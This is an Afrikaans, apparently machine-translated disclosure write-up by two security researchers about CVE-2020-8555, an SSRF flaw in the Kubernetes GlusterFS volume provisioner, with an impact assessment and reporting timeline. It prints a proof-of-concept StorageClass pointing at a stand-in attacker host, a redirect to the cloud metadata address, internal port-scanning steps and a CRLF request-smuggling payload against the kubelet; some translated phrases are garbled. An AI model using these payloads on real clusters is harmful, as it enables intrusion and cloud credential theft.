🥇Wanneer dit nie net oor kwesbaarheid in Kubernetes gaan nie...

Let wel. vertaal.: die skrywers van hierdie artikel praat in detail oor hoe hulle daarin geslaag het om die kwesbaarheid te ontdek CVE-2020–8555 in Kubernetes. Alhoewel dit aanvanklik nie baie gevaarlik gelyk het nie, het dit in kombinasie met ander faktore geblyk dat dit vir sommige wolkverskaffers maksimum was. Verskeie organisasies het die spesialiste mildelik vir hul werk beloon.

Wie is ons

Ons is twee Franse sekuriteitsnavorsers wat gesamentlik 'n kwesbaarheid in Kubernetes ontdek het. Ons name is Brice Augras en Christophe Hauquiert, maar op baie Bug Bounty-platforms staan ons onderskeidelik bekend as Reeverzax en Hach:

Brice Augras - Groupe Asten Maatskappy;
Christophe Hauquiert - Kubernetes-argitek by Nokia.

Wat het gebeur?

Hierdie artikel is ons manier om te deel hoe 'n gewone navorsingsprojek onverwags verander het in die opwindendste avontuur in die lewe van goggajagters (ten minste vir nou).

Soos u waarskynlik weet, het goggajagters 'n paar noemenswaardige kenmerke:

hulle leef van pizza en bier;
hulle werk wanneer almal anders slaap.

Ons is geen uitsondering op hierdie reëls nie: ons ontmoet gewoonlik oor naweke en spandeer slapelose nagte om te hack. Maar een van hierdie aande het op 'n baie ongewone manier geëindig.

Aanvanklik sou ons vergader om deelname aan CTF die volgende dag. Tydens 'n gesprek oor Kubernetes-sekuriteit in 'n bestuurde diensomgewing, het ons die ou idee van SSRF (Bedienerkant-versoekvervalsing) en het besluit om dit as 'n aanvalskrip te probeer gebruik.

Om 11:XNUMX het ons gaan sit om ons navorsing te doen en vroegoggend gaan slaap, baie tevrede met die resultate. Dit was as gevolg van hierdie navorsing dat ons op die MSRC Bug Bounty-program afgekom het en met 'n voorreg-eskalasie-uitbuiting vorendag gekom het.

Verskeie weke/maande het verloop, en ons onverwagte resultaat het gelei tot een van die hoogste belonings in die geskiedenis van die Azure Cloud Bug Bounty - benewens die een wat ons van Kubernetes ontvang het!

Op grond van ons navorsingsprojek, het die Kubernetes Produksekuriteitskomitee gepubliseer CVE-2020–8555.

Nou wil ek soveel as moontlik inligting oor die gevind kwesbaarheid versprei. Ons hoop jy waardeer die vonds en deel die tegniese besonderhede met ander lede van die infosec-gemeenskap!

So hier is ons storie...

konteks

Om die beste sin te maak van wat gebeur het, kom ons kyk eers na hoe Kubernetes in 'n wolkbestuurde omgewing werk.

Wanneer u 'n Kubernetes-kluster in so 'n omgewing instansieer, is die bestuurslaag tipies die verantwoordelikheid van die wolkverskaffer:

Die beheerlaag is by die wolkverskaffer se omtrek geleë, terwyl die Kubernetes-nodusse by die kliënt se omtrek geleë is.

Om volumes dinamies toe te wys, word 'n meganisme gebruik om dit dinamies vanaf 'n eksterne berging-agterkant te voorsien en dit met PVC te vergelyk (aanhoudende volume-eis, dit wil sê 'n versoek vir 'n volume).

Dus, nadat die PVC geskep is en aan die StorageClass in die K8s-groepering gebind is, word verdere aksies om die volume te verskaf oorgeneem deur die kube/wolkbeheerderbestuurder (die presiese naam daarvan hang af van die vrystelling). (Let wel. vertaal.: Ons het reeds meer oor CCM geskryf deur die voorbeeld van die implementering daarvan vir een van die wolkverskaffers te gebruik hier.)

Daar is verskeie tipes voorsieners wat deur Kubernetes ondersteun word: die meeste van hulle is ingesluit in orkestreerder kern, terwyl ander bestuur word deur bykomende voorsieners wat in peule in die groep geplaas word.

In ons navorsing het ons gefokus op die interne volume voorsieningsmeganisme, wat hieronder geïllustreer word:

Dinamiese voorsiening van volumes met behulp van die ingeboude Kubernetes-voorsiener

Kortom, wanneer Kubernetes in 'n bestuurde omgewing ontplooi word, is die beheerderbestuurder die verantwoordelikheid van die wolkverskaffer, maar die volumeskeppingsversoek (nommer 3 in die diagram hierbo) verlaat die wolkverskaffer se interne netwerk. En dit is waar dinge regtig interessant raak!

Inbraak scenario

In hierdie afdeling sal ons verduidelik hoe ons voordeel getrek het uit die werkvloei wat hierbo genoem is en toegang tot die interne hulpbronne van die wolkdiensverskaffer verkry het. Dit sal jou ook wys hoe jy sekere aksies kan uitvoer, soos om interne geloofsbriewe te verkry of voorregte te eskaleer.

Een eenvoudige manipulasie (in hierdie geval, Service Side Request Forgery) het gehelp om verder as die kliëntomgewing te gaan in groepe van verskeie diensverskaffers onder bestuurde K8's.

In ons navorsing het ons gefokus op die GlusterFS-voorsiener. Ten spyte van die feit dat die verdere volgorde van aksies in hierdie konteks beskryf word, is Quobyte, StorageOS en ScaleIO vatbaar vir dieselfde kwesbaarheid.

Misbruik van dinamiese volume voorsiening meganisme

Tydens bergingsklasanalise GlusterFS in die Golang kliënt bronkode ons opgemerkdit op die eerste HTTP-versoek (3) wat tydens volumeskepping gestuur is, na die einde van die pasgemaakte URL in die parameter resturl word bygevoeg /volumes.

Ons het besluit om van hierdie bykomende pad ontslae te raak deur by te voeg # in parameter resturl. Hier is die eerste YAML-konfigurasie wat ons gebruik het om te toets vir 'n semi-blinde SSRF-kwesbaarheid (jy kan meer lees oor semi-blinde of half-blinde SSRF, byvoorbeeld, hier - ongeveer. vertaal.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Toe het ons die binêre gebruik om die Kubernetes-kluster op afstand te bestuur kubectl. Tipies laat wolkverskaffers (Azure, Google, AWS, ens.) jou toe om geloofsbriewe te verkry vir gebruik in hierdie nutsprogram.

Danksy dit kon ek my "spesiale" lêer gebruik. Kube-controller-manager het die gevolglike HTTP-versoek uitgevoer:

kubectl create -f sc-poc.yaml

Die antwoord vanuit die aanvaller se oogpunt

Kort hierna kon ons ook 'n HTTP-reaksie van die teikenbediener ontvang - via die opdragte describe pvc of get events in kubectl. En inderdaad: hierdie standaard Kubernetes-bestuurder is te breedvoerig in sy waarskuwings/foutboodskappe ...

Hier is 'n voorbeeld met 'n skakel na https://www.google.frstel as parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

In hierdie benadering was ons beperk tot navrae soos HTTP POST en kon nie die inhoud van die antwoordliggaam kry as die terugkeerkode was nie 201. Daarom het ons besluit om bykomende navorsing te doen en hierdie inbraak-scenario met nuwe benaderings uitgebrei.

Die evolusie van ons navorsing

Gevorderde Scenario #1: Gebruik 'n 302-herleiding vanaf 'n eksterne bediener om die HTTP-metode te verander om 'n meer buigsame manier te bied om interne data in te samel.
Gevorderde scenario #2: Outomatiseer LAN-skandering en interne hulpbronontdekking.
Gevorderde scenario #3: gebruik van HTTP CRLF + smokkel ("versoek smokkel") om pasgemaakte HTTP-versoeke te skep en data te haal wat uit kube-beheerderlogboeke onttrek is.

Tegniese spesifikasies

Die navorsing het Azure Kubernetes Service (AKS) met Kubernetes weergawe 1.12 in die Noord-Europa-streek gebruik.
Die scenario's wat hierbo beskryf is, is uitgevoer op die jongste vrystellings van Kubernetes, met die uitsondering van die derde scenario, omdat hy het Kubernetes nodig gehad wat gebou is met Golang-weergawe ≤ 1.12.
Aanvaller se eksterne bediener - https://attacker.com.

Gevorderde scenario #1: Herlei 'n HTTP POST-versoek na GET en ontvang sensitiewe data

Die oorspronklike metode is verbeter deur die konfigurasie van die aanvaller se bediener om terug te keer 302 HTTP-herkodeerom 'n POST-versoek na 'n AOO-versoek om te skakel (stap 4 in die diagram):

Eerste versoek (3) kom van die kliënt GlusterFS (Beheerderbestuurder), het 'n POST-tipe. Deur hierdie stappe te volg, kon ons dit in 'n AOO omskep:

As 'n parameter resturl in StorageClass word dit aangedui http://attacker.com/redirect.php.
eindpunt https://attacker.com/redirect.php reageer met 'n 302 HTTP-statuskode met die volgende liggingopskrif: http://169.254.169.254. Dit kan enige ander interne hulpbron wees - in hierdie geval word die herleidingskakel slegs as 'n voorbeeld gebruik.
By verstek net/http-biblioteek Golang herlei die versoek en skakel die POST om na 'n AOO met 'n 302-statuskode, wat lei tot 'n HTTP AOO-versoek na die teikenhulpbron.

Om die HTTP-reaksieliggaam te lees wat jy moet doen describe PVC voorwerp:

kubectl describe pvc xxx

Hier is 'n voorbeeld van 'n HTTP-reaksie in JSON-formaat wat ons kon ontvang:

Die vermoëns van die gevind kwesbaarheid op daardie tydstip was beperk as gevolg van die volgende punte:

Onvermoë om HTTP-opskrifte in uitgaande versoek in te voeg.
Onvermoë om 'n POST-versoek uit te voer met parameters in die liggaam (dit is gerieflik om die sleutelwaarde aan te vra van 'n etcd-instansie wat op loop 2379 poort indien ongeënkripteerde HTTP gebruik word).
Onvermoë om antwoordliggaam-inhoud op te haal wanneer die statuskode 200 was en die antwoord nie 'n JSON-inhoudtipe gehad het nie.

Gevorderde scenario #2: Skandeer die plaaslike netwerk

Hierdie halfblinde SSRF-metode is toe gebruik om die wolkverskaffer se interne netwerk te skandeer en verskeie luisterdienste (Metadata-instansie, Kubelet, ens.) op grond van die antwoorde te poll. kube kontroleerder.

Eerstens is die standaardluisterpoorte van Kubernetes-komponente bepaal (8443, 10250, 10251, ens.), en toe moes ons die skanderingsproses outomatiseer.

Aangesien hierdie metode om hulpbronne te skandeer baie spesifiek is en nie versoenbaar is met klassieke skandeerders en SSRF-gereedskap nie, het ons besluit om ons eie werkers te skep in 'n bash script wat die hele proses outomatiseer.

Byvoorbeeld, om die reeks 172.16.0.0/12 van die interne netwerk vinnig te skandeer, is 15 werkers parallel geloods. Die bogenoemde IP-reeks is slegs as 'n voorbeeld gekies en kan onderhewig wees aan verandering aan jou spesifieke diensverskaffer se IP-reeks.

Om een IP-adres en een poort te skandeer, moet jy die volgende doen:

skrap die laaste gemerkte StorageClass;
verwyder die vorige geverifieerde aanhoudende volume-eis;
verander die IP- en Portwaardes in sc.yaml;
skep 'n StorageClass met 'n nuwe IP en poort;
skep 'n nuwe PVC;
onttrek skanderingsresultate met beskryf vir PVC.

Gevorderde scenario #3: CRLF-inspuiting + smokkel van HTTP in "ou" weergawes van die Kubernetes-groepering

As die verskaffer hierbenewens ou weergawes van die K8s-groepering aan kliënte aangebied het и hulle toegang tot kube-beheerder-bestuurder se logs gegee het, het die effek selfs meer betekenisvol geword.

Dit is inderdaad baie geriefliker vir 'n aanvaller om HTTP-versoeke te verander wat ontwerp is om 'n volledige HTTP-reaksie te verkry na goeddunke.

Om die laaste scenario te implementeer, moes aan die volgende voorwaardes voldoen word:

Die gebruiker moet toegang hê tot kube-beheerder-bestuurder-logboeke (soos byvoorbeeld in Azure LogInsights).
Die Kubernetes-kluster moet 'n weergawe van Golang laer as 1.12 gebruik.

Ons het 'n plaaslike omgewing ontplooi wat kommunikasie tussen die GlusterFS Go-kliënt en 'n vals teikenbediener gesimuleer het (ons sal voorlopig daarvan weerhou om die PoC te publiseer).

Was gevind kwesbaarheid, wat Golang-weergawes laer as 1.12 raak en hackers toelaat om HTTP-smokkel-/CRLF-aanvalle uit te voer.

Deur die halfblinde SSRF hierbo beskryf te kombineer saam hiermee kon ons versoeke na ons smaak stuur, insluitend die vervanging van kopskrifte, HTTP-metode, parameters en data, wat kube-beheerder-bestuurder dan verwerk het.

Hier is 'n voorbeeld van 'n werkende "aas" in 'n parameter resturl StorageClass, wat 'n soortgelyke aanvalscenario implementeer:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Die resultaat is 'n fout ongevraagde reaksie, 'n boodskap waaroor in die beheerderlogboeke aangeteken word. Danksy breedsprakigheid wat by verstek geaktiveer is, word die inhoud van die HTTP-antwoordboodskap ook daar gestoor.

Dit was ons mees effektiewe "aas" binne die raamwerk van bewys van konsep.

Deur hierdie benadering te gebruik, was ons in staat om sommige van die volgende aanvalle op groepe van verskeie bestuurde k8s-verskaffers uit te voer: voorregte-eskalasie met geloofsbriewe op metadata-instansies, Meester DoS via (ongeënkripteerde) HTTP-versoeke op etcd meester-instansies, ens.

Nadraai

In die Kubernetes amptelike verklaring oor die SSRF-kwesbaarheid wat ons ontdek het, is dit gegradeer CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. As ons slegs die kwesbaarheid wat verband hou met die Kubernetes-omtrek, die integriteitsvektor in ag neem (integriteitsvektor) dit kwalifiseer as Geen.

Die beoordeling van die moontlike gevolge in die konteks van 'n bestuurde diensomgewing (en dit was die interessantste deel van ons navorsing!) het ons egter aangespoor om die kwesbaarheid in 'n gradering te herklassifiseer Kritiese CVSS10/10 vir baie verspreiders.

Hieronder is bykomende inligting om u te help om ons oorwegings te verstaan wanneer u die potensiële impakte in wolkomgewings beoordeel:

Integriteit

Voer opdragte op afstand uit met behulp van verworwe interne geloofsbriewe.
Reproduseer die bogenoemde scenario deur gebruik te maak van die IDOR (Insecure Direct Object Reference) metode met ander hulpbronne wat op die plaaslike netwerk gevind word.

Vertroulikheid

Tipe aanval Sybeweging danksy diefstal van wolkbewyse (byvoorbeeld metadata-API).
Versamel inligting deur die plaaslike netwerk te skandeer (bepaal die SSH-weergawe, HTTP-bedienerweergawe, ...).
Versamel instansie- en infrastruktuurinligting deur interne API's soos die metadata-API (http://169.254.169.254, ...).
Diefstal van kliëntdata met behulp van wolkbewyse.

beskikbaarheid

Alle ontgin scenario's wat verband hou met aanval vektore op integriteit, kan gebruik word vir vernietigende aksies en lei daartoe dat meestergevalle van die kliëntomtrek (of enige ander) nie beskikbaar is nie.

Aangesien ons in 'n bestuurde K8s-omgewing was en die impak op integriteit beoordeel het, kan ons baie scenario's voorstel wat beskikbaarheid kan beïnvloed. Bykomende voorbeelde sluit in die korrupsie van die etcd-databasis of die maak van 'n kritieke oproep na die Kubernetes API.

Kronologie

6 Desember 2019: Kwesbaarheid aangemeld by MSRC Bug Bounty.
3 Januarie 2020: 'n Derde party het Kubernetes-ontwikkelaars ingelig dat ons aan 'n sekuriteitskwessie werk. En hulle gevra om SSRF as 'n interne (in-kern) kwesbaarheid te beskou. Ons het toe 'n algemene verslag verskaf met tegniese besonderhede oor die bron van die probleem.
15 Januarie 2020: Ons het tegniese en algemene verslae aan Kubernetes-ontwikkelaars verskaf op hul versoek (via die HackerOne-platform).
15 Januarie 2020: Kubernetes-ontwikkelaars het ons in kennis gestel dat halfblinde SSRF + CRLF-inspuiting vir vorige vrystellings as 'n in-kern kwesbaarheid beskou word. Ons het dadelik opgehou om die omtrek van ander diensverskaffers te ontleed: die K8s-span het nou die hoofoorsaak hanteer.
15 Januarie 2020: MSRC-beloning ontvang deur HackerOne.
16 Januarie 2020: Kubernetes PSC (Product Security Committee) het die kwesbaarheid erken en gevra om dit tot middel Maart geheim te hou weens die groot aantal potensiële slagoffers.
11 Februarie 2020: Google VRP-beloning ontvang.
4 Maart 2020: Kubernetes-beloning ontvang deur HackerOne.
15 Maart 2020: Oorspronklik geskeduleerde openbare bekendmaking uitgestel weens die COVID-19-situasie.
1 Junie 2020: Kubernetes + Microsoft gesamentlike verklaring oor die kwesbaarheid.

TL; DR

Ons drink bier en eet pizza :)
Ons het 'n in-kern kwesbaarheid in Kubernetes ontdek, hoewel ons nie van plan was om dit te doen nie.
Ons het bykomende ontleding gedoen op groeperings van verskillende wolkverskaffers en kon die skade wat veroorsaak word deur die kwesbaarheid verhoog om bykomende ongelooflike bonusse te ontvang.
U sal baie tegniese besonderhede in hierdie artikel vind. Ons bespreek dit graag met jou (Twitter: @ReeverZax & @__hach_).
Dit het geblyk dat allerhande formaliteite en verslaggewing baie langer geneem het as wat verwag is.

Wanneer dit nie net oor Kubernetes-kwesbaarhede gaan nie ...